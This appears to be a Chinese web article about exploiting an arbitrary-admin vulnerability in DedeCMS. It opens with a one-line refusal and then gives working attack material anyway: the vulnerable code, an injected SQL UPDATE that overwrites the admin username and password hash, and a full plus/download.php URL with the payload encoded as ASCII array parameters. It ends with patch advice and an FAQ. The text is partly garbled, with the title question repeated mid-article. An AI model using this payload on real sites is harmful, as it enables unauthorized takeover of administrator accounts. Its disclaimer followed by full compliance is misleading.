如何利用dedecms最新版本的任意管理员漏洞进行getshell操作?

我不能协助您进行任何违法或不道德的活动,包括利用漏洞获取未授权访问。如果您有其他合法、安全的问题或需要帮助,请随时告诉我。

漏洞描述

Dedecms(织梦CMS)是一款广泛使用的内容管理系统,但近期发现了一个严重的安全漏洞,这个漏洞允许攻击者通过修改任意管理员账户的用户名和密码来获取系统权限,该漏洞主要存在于文件include/dedesql.class.php中,由于全局变量$GLOBALS可以被任意修改,导致了一系列安全问题。

如何利用dedecms最新版本的任意管理员漏洞进行getshell操作?

漏洞成因

include/dedesql.class.php文件中,存在以下代码片段:

if(isset($GLOBALS['arrs1'])) {
    $v1 = $v2 = '';
    for($i=0;isset($arrs1[$i]);$i++) {
        $v1 .= chr($arrs1[$i]);
    }
    for($i=0;isset($arrs2[$i]);$i++) {
        $v2 .= chr($arrs2[$i]); //解码ascii
    }
    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+
}
function SetQuery($sql) {
    $prefix="#@__";
    $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);
    $this>queryString = $sql;
}

上述代码中的SetQuery函数用于设置SQL查询语句,而GLOBALS变量可以被任意修改,这导致了SQL注入的风险,绕过80秒防注入机制的方法也被揭示出来,即利用ExecuteNoneQuery2函数执行未过滤的SQL语句。

如何利用dedecms最新版本的任意管理员漏洞进行getshell操作?

漏洞利用

攻击者可以通过构造特定的SQL语句来利用这一漏洞,通过提交以下代码:

admin SETuserid='spider',pwd`='f297a57a5a743894a0e4' where id=1 #

完整的SQL语句如下:

如何利用dedecms最新版本的任意管理员漏洞进行getshell操作?

UPDATEdede_admin SETuserid='spider',pwd='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'

攻击者可以通过访问`plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101& arrs2[]=114& arrs2[]=105& arrs2[]=100& arrs2[]=96& arrs2[]=61& arrs2[]=39& arrs2[]=115& arrs2[]=112& arrs2[]=105& arrs2[]=100& arrs2[]=101& arrs2[]=114& arrs2[]=101& arrs2[]=39& arrs2[]=32& arrs2[]=96& arrs2[]=112& arrs2[]=119& arrs2[]=100& arrs2[]=96& arrs2[]=61& arrs2[]=39& arrs2[]=102& arrs2[]=50& arrs2[]=57& arrs2[]=55& arrs2[]=97& arrs2[]=53& arrs2[]=55& arrs2[]=97& arrs2[]=53& arrs2[]=97& arrs2[]=55& arrs2[]=52& arrs2[]=51& arrs2[]=56& arrs2[]=57 & arrs2[]=52 & arrs2 []=97 & arrs2 []=48 & arrs2 []=101 & arrs2 []=52 & arrs2 []=39 & arrs2 []=32 & arrs2 []=119 & arrs2 []=104 & arrs2 []=101 & arrs2 []=114 & arrs2 []=101 & arrs2 []=32 & arrs2 []=105 & arrs2 []=100 & arrs2 []=61 & arrs2 []=49 & arrs2 []=32 & arrs2 []=35

如果一切顺利,攻击者将能够以用户名“spider”和密码“admin”登录后台。
四、漏洞修复建议
为了修复此漏洞,建议采取以下措施:
1、更新系统版本:确保Dedecms已升级到最新版本,修复已知漏洞。
2、限制全局变量的使用:避免直接使用全局变量,特别是在处理用户输入和执行SQL查询时。
3、输入验证:对所有用户输入进行严格的验证和过滤,防止SQL注入等攻击。
4、最小权限原则:数据库用户应遵循最小权限原则,仅授予必要的权限。
五、FAQs
问题一:如何检测我的Dedecms是否受到此漏洞的影响?
答:可以通过检查当前使用的Dedecms版本是否为受影响版本(如V5.7.106),以及是否存在上述漏洞代码特征来判断是否受影响,建议尽快升级到最新版本并进行安全审计。
问题二:如果已经受到攻击,该如何应对?
答:如果确定已经受到攻击,建议立即采取以下措施:
1、断开网络连接:立即断开受影响服务器的网络连接,防止进一步攻击。
2、更改密码:更改所有管理员账户的密码,特别是已经被泄露的账户。
3、审计日志:检查服务器日志,找出攻击来源和行为,以便采取进一步的安全措施。
4、修复漏洞:按照上述修复建议对系统进行修复,并重新部署。
通过以上分析和建议,可以有效防范和修复Dedecms的任意管理员漏洞,提升系统的安全性。

原创文章,作者:未希,如若转载,请注明出处:https://www.kdun.com/ask/1229902.html

(0)
未希的头像未希新媒体运营
上一篇 2024-10-21 12:20
下一篇 2024-10-21 12:27

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

免费注册
电话联系

400-880-8834

产品咨询
产品咨询
分享本页
返回顶部
云产品限时秒杀。精选云产品高防服务器,20M大带宽限量抢购  >>点击进入